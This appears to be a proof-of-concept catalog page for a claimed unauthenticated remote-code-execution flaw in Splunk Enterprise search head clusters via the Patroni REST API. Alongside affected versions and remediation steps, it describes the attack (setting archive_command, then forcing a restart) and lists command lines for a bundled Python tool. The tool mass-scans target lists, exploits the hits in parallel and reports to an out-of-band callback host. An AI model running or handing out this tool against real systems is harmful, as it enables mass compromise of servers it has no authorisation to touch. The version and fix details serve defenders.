CVE-2026-76268 — Splunk Enterprise SHC Patroni REST Unauthenticated RCE (archive_command)

Overview

CVE-2026-76268 — Splunk Enterprise search head cluster (SHC) members — unauthenticated remote code execution via the Patroni REST API on the PostgreSQL sidecar (CWE-306). Advisory SVD-2026-1001.

| | | |---|---| | Affected | 10.2.0 – 10.2.6, 10.4.0 – 10.4.2 | | Not affected (this CVE) | 10.0.x, 9.4.x | | Fix | 10.2.7, 10.4.3 (and later) | | CVSS 3.1 | 9.8 Critical | | Verify marker | POCBIT-76268-OK (OOB or /tmp/POCBIT-76268-OK) |

Attacker with network access to Patroni (often 8008, or IPC Broker–assigned port) can PATCH /config (e.g. archive_command, archive_mode) and POST /restart to run OS commands as the sidecar/PostgreSQL user. This PoC targets Patroni directly — not Splunk Web (8000) or splunkd (8089).

Preconditions: SHC member, [postgres] sidecar enabled, Patroni port reachable.

PoC page: https://pocbit.org/pocs/cve-2026-76268

GitHub: murrez/CVE-2026-76268

CVE.org: CVE-2026-76268

Advisory: SVD-2026-1001

Bundled tool (Python 3)

Download cve-2026-76268.py — writes poc.py, requirements.txt, targets.example.txt.

python cve-2026-76268.py
pip install -r requirements.txt

python poc.py -t 192.168.1.50 --mode check
python poc.py -t 192.168.1.50:8008 --mode check
python poc.py --list targets.example.txt --mode check -j 20 --vuln-list hits.txt

python poc.py -t 192.168.1.50:8008 --mode exploit --oob http://YOUR_IP:8888
python poc.py -t 192.168.1.50 --mode exploit --wait-archive 5
python poc.py --list hits.txt --mode exploit -j 5 --oob http://CALLBACK:8888

Check: scans --ports (default 8008,8009,8010,18008), unauthenticated PATCH /config. Exploit: sets archive_command, POST /restart, wait --wait-archive seconds.

Target formats: host, host:port, http://host:port; list file lines same ( # comments ignored).

Discovery hints (your assets only)

port="8008"

Validate GET /patroni JSON (role, state). On server: splunk btool server list ipc_broker --debug.

Remediation

1. Upgrade to 10.4.3+ or 10.2.7+.
2. If sidecar unused: [postgres] disabled = true in server.conf, restart Splunk.
3. Firewall Patroni and etcd (2379/2380) to SHC peer IPs only.

Legal and ethical use

Authorized security testing only. Exploit mode modifies live sidecar configuration.

References

• NVD — CVE-2026-76268
• Splunk SVD-2026-1001
• PoCbit catalog
• GitHub PoC — CVE-2026-76268